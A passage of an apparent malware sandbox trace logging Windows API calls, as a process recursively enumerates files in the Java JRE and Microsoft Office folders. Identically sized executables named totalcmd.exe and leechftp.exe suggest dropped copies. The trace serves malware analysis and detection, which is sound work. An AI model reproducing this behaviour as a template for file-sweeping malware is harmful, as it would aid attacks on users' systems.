lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0279.224] ResetEvent (hEvent=0x2a0) returned 1 [0279.224] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0279.744] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0279.744] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0279.744] ResetEvent (hEvent=0x2a0) returned 1 [0279.745] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0279.763] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0279.763] ResetEvent (hEvent=0x2a0) returned 1 [0279.764] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0280.062] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0280.063] ResetEvent (hEvent=0x2a0) returned 1 [0280.063] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0280.613] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0280.613] ResetEvent (hEvent=0x2a0) returned 1 [0280.614] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0280.934] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0280.935] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0280.935] GetProcessHeap () returned 0xaf0000 [0280.935] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0280.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.936] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.936] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1 [0280.936] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1 [0280.936] ResetEvent (hEvent=0x2a0) returned 1 [0280.937] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0280.955] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0280.955] ResetEvent (hEvent=0x2a0) returned 1 [0280.955] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.204] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1 [0281.204] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1 [0281.204] ResetEvent (hEvent=0x2a0) returned 1 [0281.204] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.214] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1 [0281.214] ResetEvent (hEvent=0x2a0) returned 1 [0281.214] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.220] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1 [0281.220] ResetEvent (hEvent=0x2a0) returned 1 [0281.220] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.224] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1 [0281.224] ResetEvent (hEvent=0x2a0) returned 1 [0281.224] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.229] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0281.229] ResetEvent (hEvent=0x2a0) returned 1 [0281.230] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.250] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 0 [0281.250] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0281.250] GetProcessHeap () returned 0xaf0000 [0281.250] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0281.251] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0281.251] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0281.251] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0281.251] ResetEvent (hEvent=0x2a0) returned 1 [0281.251] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.552] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0281.553] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0281.553] GetProcessHeap () returned 0xaf0000 [0281.553] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0281.553] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0281.553] ResetEvent (hEvent=0x2a0) returned 1 [0281.553] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.559] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0281.559] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0281.559] ResetEvent (hEvent=0x2a0) returned 1 [0281.559] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0281.698] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0281.698] ResetEvent (hEvent=0x2a0) returned 1 [0281.698] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0282.392] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0282.584] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0282.584] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0282.585] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0282.585] GetProcessHeap () returned 0xaf0000 [0282.585] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.585] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0282.585] ResetEvent (hEvent=0x2a0) returned 1 [0282.585] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0282.600] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0282.600] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0282.600] GetProcessHeap () returned 0xaf0000 [0282.600] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0282.600] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0282.600] GetProcessHeap () returned 0xaf0000 [0282.601] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0282.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0282.601] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.601] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0282.601] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0282.601] ResetEvent (hEvent=0x2a0) returned 1 [0282.601] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0282.675] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a86690, ftCreationTime.dwHighDateTime=0x1d5d4d7, ftLastAccessTime.dwLowDateTime=0x7eb83c20, ftLastAccessTime.dwHighDateTime=0x1d5b0da, ftLastWriteTime.dwLowDateTime=0x7eb83c20, ftLastWriteTime.dwHighDateTime=0x1d5b0da, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0282.675] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, 